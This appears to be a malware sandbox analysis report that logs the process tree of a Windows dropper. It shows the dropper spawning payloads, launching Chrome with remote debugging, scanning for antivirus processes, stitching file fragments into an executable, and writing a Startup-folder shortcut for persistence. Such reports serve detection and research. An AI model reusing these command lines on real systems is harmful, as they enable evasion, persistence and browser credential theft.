Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: rodda.exe, 0000000C.00000003.14435849117.0000000006517000.00000004.00000800.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14436086508.000000000678B000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14663533397.0000000005DAB000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14663139588.0000000005B6B000.00000004.00000800.00020000.00000000.sdmp, vg9qcBa.exe, 00000027.00000003.14471362661.00000000038D3000.00000004.00000800.00020000.00000000.sdmp, vg9qcBa.exe, 00000027.00000003.14472250927.0000000003740000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE benefit_merchant_domains (benefit_id VARCHAR NOT NULL, merchant_domain VARCHAR NOT NULL)U;
Source: rodda.exe, 0000000C.00000003.14435641260.000000000651A000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14662763303.0000000005D96000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14663410641.0000000005B1B000.00000004.00000800.00020000.00000000.sdmp, vg9qcBa.exe, 00000027.00000003.14512555961.00000000036FA000.00000004.00000800.00020000.00000000.sdmp, vg9qcBa.exe, 00000027.00000003.14475132078.00000000036EB000.00000004.00000800.00020000.00000000.sdmp, vg9qcBa.exe, 00000027.00000003.14473405029.0000000003701000.00000004.00000800.00020000.00000000.sdmp, vg9qcBa.exe, 00000027.00000003.14510594125.00000000036EC000.00000004.00000800.00020000.00000000.sdmp, vg9qcBa.exe, 00000027.00000003.14472931951.00000000038D6000.00000004.00000800.00020000.00000000.sdmp, vg9qcBa.exe, 00000027.00000003.14473796587.00000000038D6000.00000004.00000800.00020000.00000000.sdmp, vg9qcBa.exe, 00000027.00000003.14511400383.00000000036F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: rodda.exe, 0000000C.00000003.14474525560.000000000678A000.00000004.00000800.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14473867178.00000000064FE000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14699488422.0000000005B6A000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14700073351.0000000005DCA000.00000004.00000800.00020000.00000000.sdmp, vg9qcBa.exe, 00000027.00000003.14514064766.0000000003713000.00000004.00000800.00020000.00000000.sdmp, vg9qcBa.exe, 00000027.00000003.14513221519.00000000038D2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "autofill_profile_edge_extended" ( guid VARCHAR PRIMARY KEY, date_of_birth_day VARCHAR, date_of_birth_month VARCHAR, date_of_birth_year VARCHAR, source INTEGER NOT NULL DEFAULT 0, source_id VARCHAR)[;

Source: file.exe

ReversingLabs: Detection: 55%

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: L.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1005824001\926085a3ba.exe "C:\Users\user\AppData\Local\Temp\1005824001\926085a3ba.exe"
Source: C:\Users\user\AppData\Local\Temp\1005824001\926085a3ba.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c start cmd /C "ping localhost -n 1 && start C:\Users\user\AppData\Local\kreon.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /C "ping localhost -n 1 && start C:\Users\user\AppData\Local\kreon.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping localhost -n 1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\kreon.exe C:\Users\user\AppData\Local\kreon.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007319001\rodda.exe "C:\Users\user\AppData\Local\Temp\1007319001\rodda.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1005824001\926085a3ba.exe "C:\Users\user\AppData\Local\Temp\1005824001\926085a3ba.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007944001\L.exe "C:\Users\user\AppData\Local\Temp\1007944001\L.exe"
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k WerSvcGroup
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -pss -s 468 -p 1596 -ip 1596
Source: C:\Users\user\AppData\Local\Temp\1005824001\926085a3ba.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 1596 -s 1732
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
Source: C:\Users\user\AppData\Local\Temp\1007319001\rodda.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9221 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-subproc-heap-profiling --field-trial-handle=2584,i,13543876262745876758,17897584690013245804,262144 --variations-seed-version=20240909-180142.416000 --mojo-platform-channel-handle=2688 /prefetch:3
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008835001\0fVlNye.exe "C:\Users\user\AppData\Local\Temp\1008835001\0fVlNye.exe"
Source: C:\Users\user\AppData\Local\Temp\1008835001\0fVlNye.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c copy Bukkake Bukkake.cmd && Bukkake.cmd
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "wrsa opssvc"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 29442
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Wendy + ..\Psychiatry + ..\Rid + ..\Games + ..\Norway + ..\Matching + ..\Jungle + ..\Elliott + ..\Jpg + ..\Americans + ..\Exhibits + ..\Peeing + ..\Typical + ..\Innocent + ..\Seafood + ..\Nervous + ..\Households + ..\Ai + ..\Hotel + ..\Holdem + ..\Drums + ..\Carlo + ..\Tm + ..\Landscape + ..\Resolutions + ..\Def + ..\Lambda + ..\Biodiversity + ..\Odds + ..\Smithsonian + ..\Blvd + ..\Actual + ..\Guy + ..\Expert + ..\Delaware + ..\Eagle + ..\Eugene + ..\Exempt + ..\Same + ..\Ebooks + ..\Individuals + ..\Sucking + ..\Chan + ..\Turns + ..\Satin + ..\Dealing + ..\Result + ..\Through + ..\Realized l
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com Reynolds.com l
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	Process created: C:\Windows\System32\cmd.exe cmd /k echo [InternetShortcut] > "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ZeusChat.url" & echo URL="C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.js" >> "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ZeusChat.url" & exit
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe "C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe"
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	Process created: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe "C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe"
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	Process created: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe "C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1005824001\926085a3ba.exe "C:\Users\user\AppData\Local\Temp\1005824001\926085a3ba.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1009342001\VBVEd6f.exe "C:\Users\user\AppData\Local\Temp\1009342001\VBVEd6f.exe"
Source: C:\Users\user\AppData\Local\Temp\1009342001\VBVEd6f.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c copy Maintained Maintained.cmd && Maintained.cmd
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "wrsa opssvc"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 477151
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Enhancements + ..\Images + ..\Mhz + ..\Founded + ..\Pk + ..\Reflected + ..\Downloadcom L
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\477151\Selection.com Selection.com L
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5
Source: unknown	Process created: C:\Users\user\AppData\Local\kreon.exe "C:\Users\user\AppData\Local\kreon.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1009882001\TaskbarMonitorInstaller.exe "C:\Users\user\AppData\Local\Temp\1009882001\TaskbarMonitorInstaller.exe"
Source: C:\Users\user\AppData\Local\Temp\1009882001\TaskbarMonitorInstaller.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1009882001\TaskbarMonitorInstaller.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe" /nologo /codebase "C:\Program Files\TaskbarMonitor\TaskbarMonitor.dll"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	Process created: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com C:\Users\user\AppData\Local\Temp\29442\Reynolds.com
Source: C:\Users\user\AppData\Local\Temp\1007944001\L.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9221 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-subproc-heap-profiling --field-trial-handle=2208,i,18153170095158784045,2403833112431802298,262144 --variations-seed-version=20240909-180142.416000 --mojo-platform-channel-handle=2532 /prefetch:3
Source: unknown	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.js"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1005824001\926085a3ba.exe "C:\Users\user\AppData\Local\Temp\1005824001\926085a3ba.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007319001\rodda.exe "C:\Users\user\AppData\Local\Temp\1007319001\rodda.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007944001\L.exe "C:\Users\user\AppData\Local\Temp\1007944001\L.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008835001\0fVlNye.exe "C:\Users\user\AppData\Local\Temp\1008835001\0fVlNye.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe "C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 1596 -s 1732	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1009882001\TaskbarMonitorInstaller.exe "C:\Users\user\AppData\Local\Temp\1009882001\TaskbarMonitorInstaller.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005824001\926085a3ba.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c start cmd /C "ping localhost -n 1 && start C:\Users\user\AppData\Local\kreon.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /C "ping localhost -n 1 && start C:\Users\user\AppData\Local\kreon.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping localhost -n 1	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\kreon.exe C:\Users\user\AppData\Local\kreon.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007319001\rodda.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9221 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007944001\L.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9221 --profile-directory="Default"
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -pss -s 468 -p 1596 -ip 1596
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 1596 -s 1732
Source: C:\Windows\System32\WerFault.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-subproc-heap-profiling --field-trial-handle=2584,i,13543876262745876758,17897584690013245804,262144 --variations-seed-version=20240909-180142.416000 --mojo-platform-channel-handle=2688 /prefetch:3
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe "C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1008835001\0fVlNye.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c copy Bukkake Bukkake.cmd && Bukkake.cmd
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "wrsa opssvc"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 29442
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Wendy + ..\Psychiatry + ..\Rid + ..\Games + ..\Norway + ..\Matching + ..\Jungle + ..\Elliott + ..\Jpg + ..\Americans + ..\Exhibits + ..\Peeing + ..\Typical + ..\Innocent + ..\Seafood + ..\Nervous + ..\Households + ..\Ai + ..\Hotel + ..\Holdem + ..\Drums + ..\Carlo + ..\Tm + ..\Landscape + ..\Resolutions + ..\Def + ..\Lambda + ..\Biodiversity + ..\Odds + ..\Smithsonian + ..\Blvd + ..\Actual + ..\Guy + ..\Expert + ..\Delaware + ..\Eagle + ..\Eugene + ..\Exempt + ..\Same + ..\Ebooks + ..\Individuals + ..\Sucking + ..\Chan + ..\Turns + ..\Satin + ..\Dealing + ..\Result + ..\Through + ..\Realized l
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com Reynolds.com l
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	Process created: C:\Windows\System32\cmd.exe cmd /k echo [InternetShortcut] > "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ZeusChat.url" & echo URL="C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.js" >> "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ZeusChat.url" & exit
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	Process created: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com C:\Users\user\AppData\Local\Temp\29442\Reynolds.com
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	Process created: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe "C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe"
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	Process created: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe "C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe"
Source: C:\Users\user\AppData\Local\Temp\1009342001\VBVEd6f.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c copy Maintained Maintained.cmd && Maintained.cmd
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "wrsa opssvc"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 477151
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Enhancements + ..\Images + ..\Mhz + ..\Founded + ..\Pk + ..\Reflected + ..\Downloadcom L
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\477151\Selection.com Selection.com L
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5
Source: C:\Users\user\AppData\Local\Temp\1009882001\TaskbarMonitorInstaller.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe" /nologo /codebase "C:\Program Files\TaskbarMonitor\TaskbarMonitor.dll"
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-subproc-heap-profiling --field-trial-handle=2208,i,18153170095158784045,2403833112431802298,262144 --variations-seed-version=20240909-180142.416000 --mojo-platform-channel-handle=2532 /prefetch:3
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Windows\System32\wscript.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
